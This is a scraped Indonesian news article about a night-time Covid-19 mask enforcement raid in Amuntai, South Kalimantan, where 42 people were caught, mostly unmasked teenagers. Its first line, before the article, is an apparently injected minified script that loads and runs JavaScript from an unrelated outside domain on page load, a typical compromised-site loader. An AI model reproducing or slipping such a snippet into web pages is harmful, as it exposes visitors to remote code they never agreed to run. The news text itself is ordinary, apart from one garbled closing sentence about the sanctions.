(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Razia Protokol Kesehatan Malam Hari di Amuntai, Pelanggar Kebanyakan Remaja Tak Bermasker


KANALKALIMANTAN.COM, AMUNTAI – Sedikitnya 42 pelanggar kebanyakan remaja, terjaring operasi penegakan disiplin protokol kesehatan Covid-19 yang digelar tim gabungan Satpol-/ PP, TNI dan Polri di seputar kota Amuntai, Kamis (17/9/2020) malam.

Operasi penegakan disiplin ini dipimpin langsung Kapolres Hulu Sungai Utara (HSU) bersama Dandim 1001 Amuntai, Plt Kepala Satpol PP, dan Camat Amuntai Tengah.

Patroli diantaranya menyasar beberapa kawasan yakni Taman Kota Junjung Buih, Siring Patung Itik, kawasan hotel, tempat biliar, hingga beberapa kawasan jalan utama di kota Amuntai.

Kapolres HSU AKBP Afri Darmawan mengatakan, apabila warga yang tidak menuruti imbauan polisi atau melawan petugas untuk membubarkan diri, dapat dijerat pasal 212 KUHP, 216 KUHP, dan pasal 218 KUHP.

“Tetapi memang betul, bisa saja kami kenakan aturan perundang-undangan, tetapi itu paling terakhir, apa sepertinya? Contohnya pasal 212, 216, 218 KUHP, itu ada aturannya,” ungkap Afri Darmawan. Kapolres HSU menyebut operasi penegakan protokol kesehatan Covid-19 ini seperti yang ditekankan Polda Kalsel melalui perintah Kapolda Kalsel Irjen Pol Nico Afinta.

Afri menjelaskan, pembubaran kerumunan telah tertuang dalam Maklumat Kapolri Nomor Mak/2/III/2020 tentang Kepatuhan terhadap Kebijakan Pemerintah dalam Penanganan Penyebaran Virus Corona (Covid-19).

Sementara, Plt Kepala Satpol PP dan Damkar HSU Jumadi mengakui selama menggelar razia sebagian besar pelanggar yang terjaring kebanyakan para remaja, pelajar yang berkumpul, tanpa menggunakan masker.

Bersama Kapolres dan Dandim, Pemkab HSU selalu mengingatkan akan pentingnya protokol kesehatan.

“Karena saat ini HSU merupakan zona merah, kepada pelanggar agar saling mengingatkan kepada keluarga supaya selalu mentaati protokol kesehatan,” tukasnya

Kegiatan operasi yang digelar pukul 21.00 Wita, mereka yang terjaring diberik tindakan sanksi pembinaan fisik berupa saja.
(kanalkalimantan.com/dew)

Reporter : Dew
Editor : Bie

Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.